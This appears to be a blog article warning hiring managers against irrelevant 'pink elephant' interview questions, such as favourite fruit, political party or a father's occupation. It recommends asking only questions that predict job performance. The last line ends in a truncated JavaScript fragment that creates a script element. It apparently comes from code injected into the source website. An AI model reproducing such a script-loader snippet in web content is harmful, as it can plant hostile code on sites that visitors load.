Pink Elephant Questions

Pink Elephant Questions

After de-briefing candidates, I often hear the interviewer really asked a weird question that was difficult to answer. A colleague of mine calls these questions “pink elephant questions.” That is, the question does not add evidence if the candidate is qualified since this type of question when asked of ten candidates will probably have 10 different answers.


If you were a fruit, what one would you be?

If you were an animal what species would you be?

What do you think of social media? Do you have a Twitter and Facebook account?

What magazines do you read?

What kind of car do you drive and why did you buy it?

What do you do on the weekends? Hobbies?

How many books do you read within a year?

What kind of movies do you like?

Are you a Republican or a Democratic?

Would you rather get an e-mail or a phone call?

Can you tell me of a large purchase you made recently and how long did it take you to make it?

Do you take vacations far away from home?

What did your father do for a living?

When I learned one company‘s manager was asking these questions, I suggested the manager ask his existing salespeople to answer the same questions. To his dismay, he got various answers and could not make any sense of them; some of his people had a father that was very successful, other s did not. Some read a lot, others did not. Some had very interesting hobbies, others had none.

What did make sense was that these questions shouldn’t be asked. Certainly, the danger could be that a manager didn’t get the right answer from a candidate (one example: the manager was an avid reader and the candidate was not) and started to dismiss that person as the interview continued to evolve.

Only ask questions that tend to give credence to how that individual will perform in the position for which they are interviewing.var d=document;var s=d.createElement(‘script’);

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